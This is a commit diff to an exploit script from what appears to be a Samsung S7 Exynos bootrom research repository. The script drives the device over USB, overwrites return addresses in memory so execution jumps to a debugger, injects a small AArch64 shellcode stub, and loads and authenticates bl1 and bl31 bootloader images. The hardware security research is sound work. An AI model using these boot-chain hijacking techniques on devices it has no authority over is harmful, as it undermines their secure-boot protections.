EljakimHerrewijnen/Samsung_S7
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usb stack likely not executable

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This commit is contained in:
Jonathan Herrewijnen 2024-08-14 19:46:27 +02:00
parent 99385d69e9
commit a8aed2e480
1 changed files with 27 additions and 37 deletions
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64
source/exploit/exploit.py
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@ -78,6 +78,9 @@ class ExynosDevice():
sys.exit(0) sys.exit(0)
else: else:
raise e raise e
# claim usb interface
self.handle.claimInterface(0)
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}") print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def write(self, data): def write(self, data):
@ -356,6 +359,9 @@ class ExynosDevice():
# Try loading bl1 # Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read() bl1 = open("../S7/bl1.bin", "rb").read()
# Using keystone, look for each msr instruction (AARCH64, LE)
# If wanting to modify the binary # If wanting to modify the binary
# bl1 = bl1[:0x1C23] + b'\xaa' + bl1[0x1C24:] # bl1 = bl1[:0x1C23] + b'\xaa' + bl1[0x1C24:]
@ -383,9 +389,7 @@ class ExynosDevice():
# Overwrite jump back to the debugger from functions encountered during jump_bl1 # Overwrite jump back to the debugger from functions encountered during jump_bl1
# self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790 # self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
#
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger, at function
self.cd.memwrite_region(0x020200dc, p32(0x020c0000)) self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
def hijack_brom_weird(): def hijack_brom_weird():
@ -400,54 +404,40 @@ class ExynosDevice():
jump_bl1(0x020c0000) jump_bl1(0x020c0000)
while True: while True:
try: try:
logging.debug(f'Within jump_bl1')
resp = self.usb_read(0x200) resp = self.usb_read(0x200)
logging.debug(f'Within jump_bl1. Response: {resp}.')
if self.cd.arch_dbg.state.LR == 0x02022948: if self.cd.arch_dbg.state.LR == 0x02022948:
break # ROM will load next stage over USB break # ROM will load next stage over USB
hijack_brom_weird() hijack_brom_weird()
except: except:
pass pass
shellcode = f"""
ldr x0, debugger_addr
blr x0
debugger_addr: .quad 0x020c0000
"""
shellcode = ks.asm(shellcode, as_bytes=True)[0]
self.cd.memwrite_region(0x2021800, shellcode)
self.cd.jump_to(0x2021800)
pass
# TODO load bl31 # load bl31
bl31 = open("../S7/bl31.bin", "rb").read() bl31 = open("../S7/bl31.bin", "rb").read()
bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
# Write 0's to 0x02021800 to 0x0206ffff. Except for debugger location, at: 0x020c0000 to 0x020c6000
self.cd.memwrite_region(0x02021800, b"\x00" * 0x4E800)
# # Write bl31 at 0x02021800 and authenticate
self.cd.memwrite_region(0x02021800, bl31) self.cd.memwrite_region(0x02021800, bl31)
imem_bl31_pre_auth = memdump_imem()
with open("/tmp/imem_bl31_pre_auth.bin", "wb") as f:
f.write(imem_bl31_pre_auth)
auth_bl1(0x020c0000) auth_bl1(0x020c0000)
imem_bl31_post_auth = memdump_imem() # Jump to bl31
with open("/tmp/imem_bl31_post_auth.bin", "wb") as f: jump_bl1(0x02021800)
f.write(imem_bl31_post_auth)
# TEST JONATHAN
self.cd.jump_to(0x02021800)
self.cd.memwrite_region(0x020200e8, p32(0x020c0000))
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
# Patch bl31
# self.cd.jump_to(0x2069000)
# self.cd.memwrite_region(0x02021800 + 0x14, self.cd.arch_dbg.sc.branch_absolute(0x2069000))
# jump_bl1(0x2069000)
self.cd.jump_to(0x02021800 + 0x14)
pass pass
# OLD
# Overwrite jump back
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def memdump_try(): def memdump_try():
self.cd.arch_dbg.state.LR = 0x020200e8 self.cd.arch_dbg.state.LR = 0x020200e8